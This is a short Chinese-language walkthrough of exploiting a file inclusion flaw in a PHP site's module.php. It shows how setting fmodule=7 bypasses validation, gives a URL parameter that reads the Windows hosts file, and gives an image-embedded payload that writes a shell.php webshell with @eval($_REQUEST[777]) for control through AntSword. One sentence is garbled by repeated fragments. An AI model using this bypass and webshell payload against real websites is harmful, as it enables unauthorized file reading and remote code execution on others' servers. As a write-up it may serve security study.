产生文件包含的文件为/about/index.php
尝试输出$module。在源码中添加echo代码,查看页面显示效果
查看module.php文件
搜索fmodule 变量,发现只有当 fmodule 变量,发现只有当fmodule变量,发现只有当fmodule!=7 时,会对$module进行验证。
提交参数【?fmodule=7&module=c://windows/system32/drivers/etc/hosts】,此时我们已经改变了$module的值,其值为hosts文件的绝对路径。
文件包含的危害之一就是文件读取。
如何证明该漏洞是文件包含漏洞,如果在执行命令后PHP代码执行了,那么就是文件包含漏洞。
如下页面显示成功而不是show.php源代码,php代码执行,说明是文件包含漏洞
根据之前的分析,在module.php中,当$fmodule!=7时会对$module进行一系列赋值操作。为了绕过对$module的验证,尝试将URL参数中的fmodule设为7。
发现输出了我们传进去的module的参数,所以接下来配合远程包含,上传图片马,在图片马里加入代码
<?php phpinfo();?>
- <?php file_put_contents('shell.php','@eval($_REQUEST[777])')?>
发现利用成功,在同级目录下创建了shell.php,接下来我们用蚁剑,利用成功